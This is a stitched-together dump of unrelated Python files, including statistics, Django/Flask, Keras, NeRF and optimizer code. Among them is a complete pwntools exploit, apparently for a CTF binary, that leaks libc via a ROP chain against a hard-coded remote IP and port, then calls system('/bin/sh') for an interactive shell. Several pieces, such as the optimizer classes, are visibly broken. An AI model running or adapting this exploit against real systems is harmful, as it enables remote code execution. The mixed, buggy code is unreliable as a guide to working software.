import matplotlib as mpl
import numpy as np
import matplotlib.pyplot as plt
from matplotlib import cm
import warnings
from mpl_toolkits.mplot3d import Axes3D
from cde import ConditionalDensity

class BaseConditionalDensitySimulation(ConditionalDensity):

  def pdf(self, X, Y):
    """ Conditional probability density function p(y|x) of the underlying probability model

    Args:
      X: x to be conditioned on - numpy array of shape (n_points, ndim_x)
      Y: y target values for witch the pdf shall be evaluated - numpy array of shape (n_points, ndim_y)

    Returns:
      p(X|Y) conditional density values for the provided X and Y - numpy array of shape (n_points, )
    """

    raise NotImplementedError

  def log_pdf(self, X, Y):
    """ Conditional log-probability log p(y|x). Requires the model to be fitted.

       Args:
         X: numpy array to be conditioned on - shape: (n_samples, n_dim_x)
         Y: numpy array of y targets - shape: (n_samples, n_dim_y)

       Returns:
          conditional log-probability log p(y|x) - numpy array of shape (n_query_samples, )

     """
    # This method is numerically unfavorable and should be overwritten with a numerically stable method
    with warnings.catch_warnings():
      warnings.simplefilter("ignore")
      log_prob = np.log(self.pdf(X, Y))
    return log_prob

  def cdf(self, X, Y):
    """ Conditional cumulated probability density function P(Y < y | x) of the underlying probability model

    Args:
      X: x to be conditioned on - numpy array of shape (n_points, ndim_x)
      Y: y target values for witch the cdf shall be evaluated - numpy array of shape (n_points, ndim_y)

    Returns:
     P(Y < y | x) cumulated density values for the provided X and Y - numpy array of shape (n_points, )
    """

    raise NotImplementedError

  def simulate_conditional(self, X):
    """ Draws random samples from the conditional distribution

    Args:
      X: x to be conditioned on when drawing a sample from y ~ p(y|x) - numpy array of shape (n_samples, ndim_x)

    Returns:
      Conditional random samples y drawn from p(y|x) - numpy array of shape (n_samples, ndim_y)
    """
    raise NotImplementedError

  def simulate(self, n_samples):
    """ Draws random samples from the unconditional distribution p(x,y)

    Args:
      n_samples: (int) number of samples to be drawn from the conditional distribution

    Returns:
      (X,Y) - random samples drawn from p(x,y) - numpy arrays of shape (n_samples, ndim_x) and (n_samples, ndim_y)
    """
    raise NotImplementedError

  def plot(self, xlim=(-5, 5), ylim=(-5, 5), resolution=100, mode="pdf", show=False, numpyfig=False):
    """ Plots the distribution specified in mode if x and y are 1-dimensional each

    Args:
      xlim: 2-tuple specifying the x axis limits
      ylim: 2-tuple specifying the y axis limits
      resolution: integer specifying the resolution of plot
      mode: spefify which dist to plot ["pdf", "cdf", "joint_pdf"]

    """
    modes = ["pdf", "cdf", "joint_pdf"]
    assert mode in modes, "mode must be on of the following: " + modes
    assert self.ndim == 2, "Can only plot two dimensional distributions"

    if show == False and mpl.is_interactive():
      plt.ioff()

    # prepare mesh
    linspace_x = np.linspace(xlim[0], xlim[1], num=resolution)
    linspace_y = np.linspace(ylim[0], ylim[1], num=resolution)
    X, Y = np.meshgrid(linspace_x, linspace_y)
    X, Y = X.flatten(), Y.flatten()

    # calculate values of distribution
    if mode == "pdf":
      Z = self.pdf(X, Y)
    elif mode == "cdf":
      Z = self.cdf(X, Y)
    elif mode == "joint_pdf":
      Z = self.joint_pdf(X, Y)

    X, Y, Z = X.reshape([resolution, resolution]), Y.reshape([resolution, resolution]), Z.reshape(
      [resolution, resolution])
    fig = plt.figure(dpi=300)
    ax = fig.gca(projection='3d')
    surf = ax.plot_surface(X, Y, Z, cmap=cm.coolwarm, rcount=resolution, ccount=resolution,
                           linewidth=100, antialiased=True)
    plt.xlabel("x")
    plt.ylabel("y")
    if show:
      plt.show()

    if numpyfig:
      fig.tight_layout(pad=0)
      fig.canvas.draw()
      numpy_img = np.fromstring(fig.canvas.tostring_rgb(), dtype=np.uint8, sep='')
      numpy_img = numpy_img.reshape(fig.canvas.get_width_height()[::-1] + (3,))
      return numpy_img

    return fig

  def mean_(self, x_cond, n_samples=10**6):
    """ Mean of the fitted distribution conditioned on x_cond
    Args:
      x_cond: different x values to condition on - numpy array of shape (n_values, ndim_x)

    Returns:
      Means E[y|x] corresponding to x_cond - numpy array of shape (n_values, ndim_y)
    """
    assert x_cond.ndim == 2

    if self.can_sample:
      return self._mean_mc(x_cond, n_samples=n_samples)
    else:
      return self._mean_pdf(x_cond)

  def std_(self, x_cond, n_samples=10 ** 6):
    """ Standard deviation of the fitted distribution conditioned on x_cond

    Args:
      x_cond: different x values to condition on - numpy array of shape (n_values, ndim_x)

    Returns:
      Standard deviations  sqrt(Var[y|x]) corresponding to x_cond - numpy array of shape (n_values, ndim_y)
    """
    x_cond = self._handle_input_dimensionality(x_cond)
    assert x_cond.ndim == 2
    return self._std_pdf(x_cond, n_samples=n_samples)

  def covariance(self, x_cond, n_samples=10**6):
    """ Covariance of the fitted distribution conditioned on x_cond

    Args:
      x_cond: different x values to condition on - numpy array of shape (n_values, ndim_x)
      n_samples: number of samples for monte carlo model_fitting

    Returns:
      Covariances Cov[y|x] corresponding to x_cond - numpy array of shape (n_values, ndim_y, ndim_y)
    """
    if self.has_pdf:
      return self._covariance_pdf(x_cond)
    elif self.can_sample:
      return self._covariance_mc(x_cond, n_samples=n_samples)
    else:
      raise NotImplementedError()

  def skewness(self, x_cond, n_samples=10 ** 6):
    """ Skewness of the fitted distribution conditioned on x_cond

       Args:
         x_cond: different x values to condition on - numpy array of shape (n_values, ndim_x)

       Returns:
         Skewness Skew[y|x] corresponding to x_cond - numpy array of shape (n_values, ndim_y, ndim_y)
       """
    x_cond = self._handle_input_dimensionality(x_cond)
    assert x_cond.ndim == 2
    if self.has_pdf:
      return self._skewness_pdf(x_cond, n_samples=n_samples)
    elif self.can_sample:
      return self._skewness_pdf(x_cond, n_samples=n_samples)
    else:
      raise NotImplementedError()

  def kurtosis(self, x_cond, n_samples=10 ** 6):
    """ Kurtosis of the fitted distribution conditioned on x_cond

       Args:
         x_cond: different x values to condition on - numpy array of shape (n_values, ndim_x)

       Returns:
         Kurtosis Kurt[y|x] corresponding to x_cond - numpy array of shape (n_values, ndim_y, ndim_y)
       """
    x_cond = self._handle_input_dimensionality(x_cond)
    assert x_cond.ndim == 2
    if self.has_pdf:
      return self._kurtosis_pdf(x_cond, n_samples=n_samples)
    elif self.can_sample:
      return self._kurtosis_mc(x_cond, n_samples=n_samples)
    else:
      raise NotImplementedError()

  def value_at_risk(self, x_cond, alpha=0.01, n_samples=10**6):
    """ Computes the Value-at-Risk (VaR) of the fitted distribution. Only if ndim_y = 1

    Args:
      x_cond: different x values to condition on - numpy array of shape (n_values, ndim_x)
      alpha: quantile percentage of the distribution
      n_samples: number of samples for monte carlo model_fitting

    Returns:
       VaR values for each x to condition on - numpy array of shape (n_values)
    """
    assert self.ndim_y == 1, "Value at Risk can only be computed when ndim_y = 1"
    assert x_cond.ndim == 2

    if self.has_cdf:
      return self._quantile_cdf(x_cond, alpha=alpha)
    elif self.can_sample:
      return self._quantile_mc(x_cond, alpha=alpha, n_samples=n_samples)
    else:
      raise NotImplementedError()

  def conditional_value_at_risk(self, x_cond, alpha=0.01, n_samples=10**6):
    """ Computes the Conditional Value-at-Risk (CVaR) / Expected Shortfall of the fitted distribution. Only if ndim_y = 1

       Args:
         x_cond: different x values to condition on - numpy array of shape (n_values, ndim_x)
         alpha: quantile percentage of the distribution
         n_samples: number of samples for monte carlo model_fitting

       Returns:
         CVaR values for each x to condition on - numpy array of shape (n_values)
       """
    assert self.ndim_y == 1, "Value at Risk can only be computed when ndim_y = 1"
    x_cond = self._handle_input_dimensionality(x_cond)
    assert x_cond.ndim == 2

    VaRs = self.value_at_risk(x_cond, alpha=alpha, n_samples=n_samples)

    if self.has_pdf:
      return self._conditional_value_at_risk_mc_pdf(VaRs, x_cond, alpha=alpha, n_samples=n_samples)
    elif self.can_sample:
      return self._conditional_value_at_risk_sampling(VaRs, x_cond, n_samples=n_samples)
    else:
      raise NotImplementedError("Distribution object must either support pdf or sampling in order to compute CVaR")

  def tail_risk_measures(self, x_cond, alpha=0.01, n_samples=10**6):
    """ Computes the Value-at-Risk (VaR) and Conditional Value-at-Risk (CVaR)

        Args:
          x_cond: different x values to condition on - numpy array of shape (n_values, ndim_x)
          alpha: quantile percentage of the distribution
          n_samples: number of samples for monte carlo model_fitting

        Returns:
          - VaR values for each x to condition on - numpy array of shape (n_values)
          - CVaR values for each x to condition on - numpy array of shape (n_values)
        """
    assert self.ndim_y == 1, "Value at Risk can only be computed when ndim_y = 1"
    assert x_cond.ndim == 2

    VaRs = self.value_at_risk(x_cond, alpha=alpha, n_samples=n_samples)

    if self.has_pdf:
      CVaRs = self._conditional_value_at_risk_mc_pdf(VaRs, x_cond, alpha=alpha, n_samples=n_samples)
    elif self.can_sample:
      CVaRs = self._conditional_value_at_risk_sampling(VaRs, x_cond, n_samples=n_samples)
    else:
      raise NotImplementedError("Distribution object must either support pdf or sampling in order to compute CVaR")

    assert VaRs.shape == CVaRs.shape == (len(x_cond),)
    return VaRs, CVaRs

  def get_configuration(self, deep=True):
    param_dict = super(BaseConditionalDensitySimulation, self).get_params(deep=deep)
    param_dict['simulator'] = self.__class__.__name__
    return param_dict

  def _handle_input_dimensionality(self, X, Y=None):
    # assert that both X an Y are 2D arrays with shape (n_samples, n_dim)

    if X.ndim == 1:
      X = np.expand_dims(X, axis=1)

    if Y is not None:
      if Y.ndim == 1:
        Y = np.expand_dims(Y, axis=1)

      assert X.shape[0] == Y.shape[0], "X and Y must have the same length along axis 0"
      assert X.ndim == Y.ndim == 2, "X and Y must be matrices"

    if Y is None:
      return X
    else:
      return X, Y

  def _compute_data_statistics(self):
    _, Y = self.simulate(n_samples=10**4)
    return np.mean(Y, axis=0), np.std(Y, axis=0)


import html
import re
import unicodedata

class StringProcessor(object):

    parenthesis_pattern = re.compile(r'[-a-zA-ZÀ-ÖØ-öø-ÿ|0-9]*\([-a-zA-ZÀ-ÖØ-öø-ÿ|\W|0-9]*\)[-a-zA-ZÀ-ÖØ-öø-ÿ|0-9]*', re.UNICODE)
    special_chars = ['@', '&']

    @staticmethod
    def remove_invalid_chars(text):
        vchars = []
        for t in text:
            if ord(t) == 11:
                vchars.append(' ')
            elif ord(t) >= 32 and ord(t) != 127:
                vchars.append(t)
        return ''.join(vchars)

    @staticmethod
    def remove_accents(text):
        return unicodedata.normalize('NFKD', text).encode('ASCII', 'ignore').decode('ASCII')

    @staticmethod
    def alpha_num_space(text, include_special_chars=False):
        new_str = []
        for character in text:
            if character.isalnum() or character.isspace() or (include_special_chars and character in StringProcessor.special_chars):
                new_str.append(character)
            else:
                new_str.append(' ')
        return ''.join(new_str)

    @staticmethod
    def remove_double_spaces(text):
        while '  ' in text:
            text = text.replace('  ', ' ')
        return text.strip()

    @staticmethod
    def preprocess_name(text):
        return StringProcessor.remove_double_spaces(StringProcessor.alpha_num_space(StringProcessor.remove_accents(text)))

    @staticmethod
    def preprocess_journal_title(text, remove_parenthesis_info=True, remove_invalid_chars=False, unescape_html_chars=True):
        if unescape_html_chars:
            text = html.unescape(text)

        if remove_invalid_chars:
            text = StringProcessor.remove_invalid_chars(text)

        if remove_parenthesis_info:
            parenthesis_search = re.search(StringProcessor.parenthesis_pattern, text)
            while parenthesis_search is not None:
                text = text[:parenthesis_search.start()] + text[parenthesis_search.end():]
                parenthesis_search = re.search(StringProcessor.parenthesis_pattern, text)
        return StringProcessor.remove_double_spaces(StringProcessor.alpha_num_space(StringProcessor.remove_accents(text), include_special_chars=True))


# https://www.acmicpc.net/problem/2581
import sys
sys.stdin = open("input.txt","r")
import time
start_time = time.time()
#----------------------------

a=int(input())
b=int(input())
numlist=list(range(a,b+1))
p=1
while True:
    if b>p**2:
        p+=1
    else:
        break
cnt=0
for i in numlist:
    for j in range(2,p+1):
        if (i!=j and i%j==0) or i==1:
            numlist[cnt]=0
            break
    cnt+=1
numSum=sum(numlist)
if numSum==0 or numSum==1:
    print(-1)
else:
    print(numSum)
    for i in numlist:
        if i>0:
            print(i)
            break

#----------------------------
print(f"--- {float(time.time() - start_time)*1000:0.4f} ms ---")

# 1은 소수가 아니니 -1이다.
# 소수는 에라토스테네스 체를 이용해 찾아서 푼다.


from django.shortcuts import render
from .models import Balance, Member, Ministry, Tithe, User, Income

def index(request):
    # Fetch the required data from the database or other sources
    current_balance = Balance.objects.get(pk=1).amount
    total_active_members = Member.objects.filter(is_active=True).count()
    total_ministries = Ministry.objects.count()
    total_users = User.objects.count()

    # Retrieve recent income and tithes
    recent_incomes_tithes = Income.objects.order_by('-date')[:5]
    recent_incomes_tithes |= Tithe.objects.order_by('-date')[:5]

    context = {
        'current_balance': current_balance,
        'total_active_members': total_active_members,
        'total_ministries': total_ministries,
        'total_users': total_users,
        'recent_incomes_tithes': recent_incomes_tithes,
    }

    return render(request, 'admin/index.html', context)


class Laptop:
    def __init__(self,lapname,lapversion,lapprice,lapmodel,lapram):
        self.name = lapname
        # instance variables/Attributes
        self.version = lapversion
        self.price = lapprice
        self.model = lapmodel
        self.ram = lapram
    def Appearacne(self):
        print(self.name,
              self.ram,
              self.model,
              self.price,)

Electonic_Devices=Laptop('Dell', '12.0',40000, 'Aqs7z',8)
Electonic_Devices.Appearacne()
print(Electonic_Devices.version)


import numpy as np
import tensorflow as tf
from tensorflow import keras
# import libraries
from keras.preprocessing import image
import numpy as np
from keras.preprocessing.image import ImageDataGenerator
from keras.models import Sequential
from keras.layers import Conv2D, MaxPooling2D
from keras.layers import Activation, Dropout, Flatten, Dense,GlobalAveragePooling2D
from keras.callbacks import *
from keras.models import Model
from tensorflow.keras.preprocessing.image import ImageDataGenerator
from tensorflow.keras.models import Sequential, save_model, load_model

# define the training directory with the images
train_data_dir  = "/content/test/test"

# set the image size
img_height = 224
img_width = 224

# define some of the model parameters
batch_size = 32

# create an image data generator and apply data augmentation
train_datagen = ImageDataGenerator(rescale=1./255,
    shear_range=0.2,
    zoom_range=0.2,
    horizontal_flip=True,
    validation_split=0.2) # set validation split

# training generator
train_generator = train_datagen.flow_from_directory(
    train_data_dir,
    target_size=(img_height, img_width),
    batch_size=batch_size,
    shuffle = True,
    class_mode='categorical',
    subset='training') # set as training data

# validation generator
validation_generator = train_datagen.flow_from_directory(
    train_data_dir, # same directory as training data
    target_size=(img_height, img_width),
    batch_size=batch_size,
    shuffle = True,
    class_mode='categorical',
    subset='validation') # set as validation data

# define the model architecture, we perform transfer learning using the Xception model trained in colab
base_model = keras.applications.Xception(
    weights="imagenet",  # Load weights pre-trained on ImageNet.
    input_shape=(224, 224, 3),
    include_top=False,
)  # Do not include the ImageNet classifier at the top.

x = base_model.output
x = GlobalAveragePooling2D()(x)
# let's add a fully-connected layer
x = Dense(1024, activation='relu')(x)
x = Dropout(0.25)(x)

# and a logistic layer -- let's say we have 200 classes
predictions = Dense(48, activation='softmax')(x)

for layer in base_model.layers:
    layer.trainable = False

# this is the model we will train
model = Model(inputs=base_model.input, outputs=predictions)
print(model.summary())

# Train the top layer of the model
model.compile(
    optimizer=keras.optimizers.Adam(),
    loss="categorical_crossentropy",
    metrics=["accuracy"],
)

epochs = 50

hist=model.fit(
    train_generator,
    steps_per_epoch = 14320 // batch_size,
    epochs=epochs,
    verbose=1,
    validation_data=validation_generator,
    validation_steps= (3566 // batch_size))

# Unfreeze the base_model. Note that it keeps running in inference mode
# since we passed `training=False` when calling it. This means that
# the batchnorm layers will not update their batch statistics.
# This prevents the batchnorm layers from undoing all the training
# we've done so far.
base_model.trainable = True
model.summary()

model.compile(
    optimizer=keras.optimizers.Adam(1e-5),  # Low learning rate
    loss=keras.losses.BinaryCrossentropy(from_logits=True),
    metrics=[keras.metrics.BinaryAccuracy()],
)

epochs = 10
model.fit(train_generator, epochs=epochs, validation_data=validation_generator)

# save model
filepath = './ML_model/saved_model'
save_model(model, filepath)


from flask import render_template
from app import app, db
from app.models.forms import NewBookForm
from app.models.tables import Book

@app.route("/novo_livro", methods=["GET", "POST"])
def new_book():
    form = NewBookForm()
    if form.validate_on_submit():
        b = Book(title=form.title.data,
                 author=form.author.data,
                 publisher=form.publisher.data,
                 gender=form.gender.data)
        db.session.add(b)
        db.session.commit()
    return render_template("newbook.html",
                           form=form)


# -*- coding: utf-8 -*-
import pandas as pd
import random
from math import floor
master = pd.read_csv('dbs\master.csv')

#////////////////////////////////////////////////""
import pymongo
myclient = pymongo.MongoClient("mongodb://localhost:27017/")
mydb = myclient["mtconnectdatabase"]
mycol = mydb["orders"]
orders = []
orderType=['A','B','C','D','E','E2','F','F4','GZ','G']
#////////////////////////////////////////////////""

orgs = list(master['names'])
machs = list(master['machines'])
cu = list(master['CapacityUtil'])
ports =list(master['agentPorts'])
batchNumbers=random.sample(range(20000,100000),(sum(machs)))
indexBatch=0
for i in range(len(orgs)):
    path='temp_folder/'+str(orgs[i])+'/adapters/'
    machines=machs[i]
    capacity=cu[i]
    Aport=ports[i]
    ON=floor((capacity*machines)/100)
    count=1
    pathOrg='temp_folder/'+str(orgs[i])+'/'
    batch = open(pathOrg+'batchStart.bat','w+')
    kill = open(pathOrg+'batchKill.bat','w+')

    for m in range(machines):
        #//////

        t=random.sample(orderType,1)
        name='Mach'+str(m+1)
        MID=str(i+1)+name
        order= { "_id": MID, "QTY": random.randint(100,4000), "PartID": t[0],"Order":batchNumbers[indexBatch]}
        orders.append(order)

        #/////
        mId=str(m+1)
        fpath=path+'Mach'+mId+'.py'

        f = open(fpath,'w')
        port= Aport+m+1
        if count<=ON:
            mState = 'ON'
            count+=1
        else:
            mState='OFF'
            count+=1
        indexBatch+=1

        weed='{ "_id": M }'
        f.write(f'''import socket
import time
import random
HOST = '127.0.0.1'
PORT = {port}

import pymongo
myclient = pymongo.MongoClient("mongodb://localhost:27017/")
mydb = myclient["mtconnectdatabase"]
mycol = mydb["orders"]
M="{MID}"
myquery = {weed}

while True:
    mydoc = mycol.find(myquery)
    for x in mydoc:
      order= ((x['Order']))
      QTY=((x['QTY']))
      PartID=((x['PartID']))
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((HOST, PORT))
        data=random.randint(50,95)
        breakdown=random.paretovariate(1)
        bd=0
        c=0
        if isinstance(order,str):
            ran = "{name}|OEE|"+"UNAVAILABLE"+"|power|UNAVAILABLE"+"|Idle|Empty|UNAVAILABLE"
        if isinstance(order,int):
            if('{mState}'=='OFF'):
                data=0
            if('{mState}'!='OFF') and (breakdown>=2) and (breakdown<=500):
                ran = "{name}|OEE|"+str(data)+"|power|Cutting|"+str(order)+"|"+str(QTY)+"|"+PartID
                c=1
            if(c==0):
                ran = "{name}|OEE|"+str(data)+"|power|{mState}|"+str(order)+"|"+str(QTY)+"|"+PartID

        if breakdown>500:
            ran = "{name}|OEE|"+"UNAVAILABLE"+"|power|BREAKDOWN|"+str(order)+"|"+str(QTY)+"|"+PartID
            bd=1

        time.sleep(1)
        strin=bytes(ran,encoding='utf-8')
        s.sendall(strin)
        if(bd==1):
           repairTime=random.randint(50,100)
           while repairTime>=1:
               time.sleep(1)
               repairTime-=1
           bd=0

''')
        id="O"+str(i)+"M"+str(m)
        batch.write(f'start /min "[{id}]" python adapters/Mach{mId}.py\n')
        kill.write(f'taskkill /f /FI "WINDOWTITLE eq [{id}]\n')

batch.close()
kill.close()
f.close()
x = mycol.insert_many(orders)


#!/usr/bin/env python
# encoding:utf-8

from utils import *

LIBC_BINSH = 0x00160F58
LIBC_WRITE = 0x000DE420
LIBC_READ = 0x000DE3A0
LIBC_SYSTEM = 0x0003F430
BUF_TO_RET = 0x70
RESTART_ADDR = 0x08048484
FREE_ADDR = 0x0804A048#0x804a020

# context.log_level = 'debug'

elf = ELF('c14595742a95ebf0944804d8853b834c')

io = remote('133.130.111.139', 2333)
# io = remote('10.211.55.48', 2333)
io.recvline()

def leak(address):
    global io
    io.recv(timeout=0.01)
    payload = nops(BUF_TO_RET)
    payload += p32(elf.plt['write']) + p32(RESTART_ADDR)
    payload += p32(1) + p32(address) + p32(4)
    io.send(payload)
    return io.recv(4)

libc = DynELF(leak, elf.entry)

system_addr = libc.lookup('system', 'libc')
# assert system_addr == 0xf7e46360
log.debug('system addr: 0x%08x' % system_addr)

cmd = '/bin/sh\x00'

payload = nops(BUF_TO_RET)
payload += p32(elf.plt['read']) + p32(RESTART_ADDR) + p32(0) + p32(FREE_ADDR) + p32(len(cmd))
io.send(payload)
io.send(cmd)

io.send(nops(BUF_TO_RET) + p32(0x080483D0))

sleep(0.5)

payload = nops(BUF_TO_RET)
payload += p32(system_addr) + p32(RESTART_ADDR) + p32(FREE_ADDR)
io.send(payload)

io.interactive()


from asyncio import futures
import torch

import numpy as np

import math
import utils.encoding as encoding
import utils.utils as ut

def randomRayt(near,far,numSam=64,ifrand=True):
    tLayer=torch.linspace(near,far,numSam,device=torch.device('cpu'))
    if ifrand:
        rayT=tLayer+torch.rand(numSam,device=torch.device('cpu'))*((far-near)/numSam)
    else:
        rayT=tLayer
    return rayT

## compute coast points in cpu
## rayO [H,W,3] rayD [H,W,3]
## return flatPoints [H*W*numSam,3] flatrayd [H*W*numSam,3] rayT [numSam] H W
def getcoastpoints(rayT,rayO,rayD):

    rundevice=rayO.device
    if rayT.device!=rundevice:
        rayT=rayT.to(rundevice)

    points = rayO[...,None,:]+rayD[...,None,:]*rayT[:,None]
    flatPoints=torch.reshape(points,(-1,points.shape[-1]))
    flatrayd=torch.reshape(rayD[...,None,:].broadcast_to(points.shape),(-1,rayD.shape[-1]))

    return flatPoints,flatrayd

## camrayT [numsampc] lirayt [numsaml] rayO[H,W,3] rayD [H,W,3] dir [3]
def getcoastpointsPos(camrayT,lirayT,rayO,rayD,pos):

    rundevice=rayO.device
    if camrayT.device!=rundevice:
        camrayT=camrayT.to(rundevice)
    if lirayT.device!=rundevice:
        lirayT=lirayT.to(rundevice)

    pointssam = rayO[...,None,:]+rayD[...,None,:]*camrayT[:,None]
    lightdir=(pointssam-pos[0,...])/(pointssam-pos[0,...]).norm(2,-1)[...,np.newaxis]
    lightpoints=lirayT[:,None]*lightdir[...,None,:]
    pointsall=(pointssam[...,None,:]+lightpoints).view(-1,3)
    # print(pointsall.shape)
    flatrayd=(rayD[...,None,None,:].broadcast_to(lightpoints.shape)).reshape(-1,3)
    return pointsall,flatrayd

# compute fine points in cpu
## rayO [H,W,3] rayD [H,W,3] sigma [H,W,numcoast] rayT [numcoast]
## return flatPoints [H*W*(numSam+numFine),3] flatrayd [H*W*(numSam+numFine),3] newRayT [H,W,(numSam+numFine)] H W
def getfinepoints(rayT,sigma,rayO,rayD,numFine=64):
    rundevice=rayO.device
    if rayT.device!=rundevice:
        rayT=rayT.to(rundevice)

    dt=torch.concat([torch.diff(rayT),torch.tensor(1e10,device=rundevice).broadcast_to(1)])
    if sigma.device!=rundevice:
        sigma=sigma.to(rundevice)
    else:
        sigma=sigma
    alfa=torch.exp(-sigma*dt)

    T=torch.cumprod(alfa + 1e-10,dim=-1,dtype=torch.float32)
    weight=T*(1.-alfa)  #权重计算，防止除0
    weight=weight[...,1:-1]+1e-5
    weight=weight/(torch.sum(weight,dim=-1,dtype=torch.float32)[...,np.newaxis])  #权重归一化

    cumWeight=torch.concat((torch.zeros_like(weight,dtype=torch.float32,device=rundevice)[...,:1],torch.cumsum(weight,dim=-1,dtype=torch.float32)),dim=-1)  #权重累积，权重大对应选取采样点个数多

    indis=torch.sort(torch.rand((weight.shape[0],weight.shape[1],(rayT.shape[0]+numFine)),dtype=torch.float32,device=rundevice),dim=-1).values #获取随机权重

    rayT_mid=(rayT[1:]+rayT[:-1])/2

    sortedIndis=torch.searchsorted(cumWeight,indis,right=True)#为每个权重值分配点，权重大对应选取采样点个数多，且权重间距正比于实际距离

    downIndis=torch.max(torch.tensor(0,device=rundevice),sortedIndis-1)

    upIndis=torch.min(sortedIndis,torch.tensor(cumWeight.shape[-1]-1,device=rundevice))

    scaleIndis=torch.stack([downIndis,upIndis],-1)

    w_g=torch.gather(cumWeight[...,np.newaxis,:].broadcast_to(cumWeight.shape[0],cumWeight.shape[1],scaleIndis.shape[-2],cumWeight.shape[-1]),-1,scaleIndis)

    rt_g=torch.gather(rayT_mid[np.newaxis,np.newaxis,np.newaxis,:].broadcast_to(scaleIndis.shape[0],scaleIndis.shape[1],scaleIndis.shape[2],rayT_mid.shape[-1]),-1,scaleIndis)

    scale=w_g[...,1]-w_g[...,0]
    scale[scale<1e-5]=1
    t=(indis-w_g[...,0])/scale
    newRayT=rt_g[...,0]+t*(rt_g[...,1]-rt_g[...,0]) #对于每个新的采样点，精采样点的位置正比于该点权重所在位置
    # print(newRayT.shape)
    newRayT=torch.sort(torch.concat((newRayT,rayT[np.newaxis,np.newaxis,:].broadcast_to((newRayT.shape[0],newRayT.shape[1],rayT.shape[-1]))),dim=-1),dim=-1).values

    points = rayO[...,None,:]+rayD[...,None,:]*newRayT[...,:,None]
    flatPoints=torch.reshape(points,(-1,points.shape[-1]))
    flatrayd=torch.reshape(rayD[...,None,:].broadcast_to(points.shape),(-1,rayD.shape[-1]))

    return flatPoints,flatrayd,newRayT

def batch_enc(enc_hash,enc_freq,flatpoints,flatrayd,fn,if_hash=False,chunkSize=1024*32):
    # device=next(fn.parameters()).device
    if if_hash:
        return torch.concat([fn(enc_hash(flatpoints[i:i+chunkSize,...]),enc_freq(flatrayd[i:i+chunkSize,...])) for i in range(0,flatpoints.shape[0],chunkSize)],0)
    else:
        return torch.concat([fn(enc_freq(flatpoints[i:i+chunkSize,...]),enc_freq(flatrayd[i:i+chunkSize,...])) for i in range(0,flatpoints.shape[0],chunkSize)],0)

# comput raw to rgb in GPU
def raw2rgb(raw,H,W,numsam):

        modelOut=torch.reshape(raw,(H,W,numsam,-1))
        sigma=torch.relu(modelOut[...,3])
        rgb=torch.sigmoid(modelOut[...,:3])

        return sigma,rgb

# comput RGB to colormap depthmap accmap
# rayT [H,W,numsam] sigma [H,W,numsam] rgb [H,W,numsam,3]
def rgb2output(rayT,sigma,rgb):
    rundevice=sigma.device
    rayT=rayT.to(rundevice)
    dt=torch.concat([torch.diff(rayT,dim=-1),(torch.tensor(1e10,device=rundevice).broadcast_to(rayT.shape))[...,:1]],dim=-1)
    alfa=torch.exp(-sigma*dt)

    T=torch.cumprod(alfa + 1e-10,dim=-1,dtype=torch.float32)

    weight=T*(1.-alfa)

    # normweight=weight/(torch.max(weight,dim=-1).values)[...,np.newaxis]

    rgb=rgb.permute(3,0,1,2)
    cr=torch.sum(weight*rgb,dim=-1)
    depthMap=torch.sum(weight*rayT,dim=-1)
    # depthMap=torch.sum(normweight*rayT,dim=-1)
    accMap=torch.sum(weight,dim=-1)
    return cr.permute(1,2,0),depthMap,accMap


#!/usr/bin/env python3
# -*- coding: utf-8 -*-

#神经网络参数优化

import numpy as np
class optimization:
    def SGD(self):
        class SGD:  #随机梯度下降法
            def __init__(self, lr = 0.01):
                self.lr = lr

            def update(self, params, grads):
                for key in params.keys():
                    params[key] -= self.lr * grads[key]

        return SGD()

    def Momentum(self):
        class Momentum:  #动量方法
            def __init__(self, lr = 0.01, momentum = 0.9):
                self.lr = lr
                self.momentum = momentum
                self.v = None

            def update(self, params, grads):
                if self.v is None:
                    self.v = {}
                    for key, val in params.items():
                        self.v[key] = np.zeros_like(val)
                for key in params.keys():
                    self.v[key] = self.momentum*self.v[key] - self.lr*grads[key]
                    params[key] += self.v[key]

                return Momentum()

    def AdaGrad(self):
        class AdaGrad:  #自适应学习率算法
            def __init__(self, lr = 0.01):
                self.lr = lr
                self.h = None

            def update(self, params, grads):
                if self.h is None:
                    self.h = {}
                    for key, val in params.items():
                        self.h[key] = np.zeros_like(val)
                for key in params.keys():
                    self.h[key] += grads[key] * grads[key]
                    params[key] -= self.lr * grads[key] / (np.sqrt(self.h[key]) + 1e-7)

                return AdaGrad()

    def RMSProp(self):
        class RMSProp:
            def __init__(self, lr = 0.01, decay_rate = 0.99):
                self.lr = lr
                self.decay_rate = decay_rate
                self.h = None

            def update(self, params, grads):
                if self.h is None:
                    self.h = {}
                    for key, val in params.items():
                        self.h[key] = np.zeros_like(val)

                for key in params.keys():
                    self.h[key] *= self.decay_rate
                    self.h[key] += (1 - self.decay_rate) * grads[key] * grads[key]
                    params[key] -= self.lr * grads[key] / (np.sqrt(self.h[key]) + 1e-7)

                return RMSProp()

    def Adam(self):
        class Adam:  #Adaptive Moments(RMSProp 和 动量方法 的结合)
            def __init__(self, lr = 0.001, beta1 = 0.9, beta2 = 0.999):
                self.lr = lr
                self.beta1 = beta1
                self.beta2 = beta2
                self.iter = 0
                self.m = None
                self.v = None

            def update(self, params, grads):
                if self.m is None:
                    self.m, self.v = {}, {}
                    for key, val in params.items():
                        self.m[key] = np.zeros_like(val)
                        self.v[key] = np.zeros_like(val)

                self.iter += 1
                lr_t  = self.lr * np.sqrt(1.0 - self.beta2**self.iter) / (1.0 - self.beta1**self.iter)

                for key in params.keys():
                    self.m[key] = self.beta1*self.m[key] + (1-self.beta1)*grads[key]
                    self.v[key] = self.beta2*self.v[key] + (1-self.beta2)*(grads[key]**2)

                    # self.m[key] += (1 - self.beta1) * (grads[key] - self.m[key]) # correct bias
                    # self.v[key] += (1 - self.beta2) * (grads[key]*grads[key] - self.v[key]) # correct bias
                    unbias_m = self.m[key] / (1 - self.beta1**self.iter)
                    unbias_b = self.v[key] / (1 - self.beta2**self.iter)
                    params[key] -= self.lr * unbias_m / (np.sqrt(unbias_b) + 1e-7)

                return Adam()


import MetaTrader5 as  mt5
import pandas as pd
import pytz
from datetime import datetime
import json
from backtesting import Backtest, Strategy
from backtesting.lib import resample_apply

# from TestingStrategy.backtestingStrategy import StrategyOne
from TestingStrategy.backtestingStrategy import MyStrategy

with open('botSettings.json') as config_file:
    config = json.load(config_file)

dateFrom = config['utc_from']
dateTo = config['utc_to']

def GetDataForBackTesting():
    #Set Timezone
    timezone = pytz.timezone("US/Eastern")
    utc_from = timezone.localize(datetime(*dateFrom)).astimezone(pytz.utc)
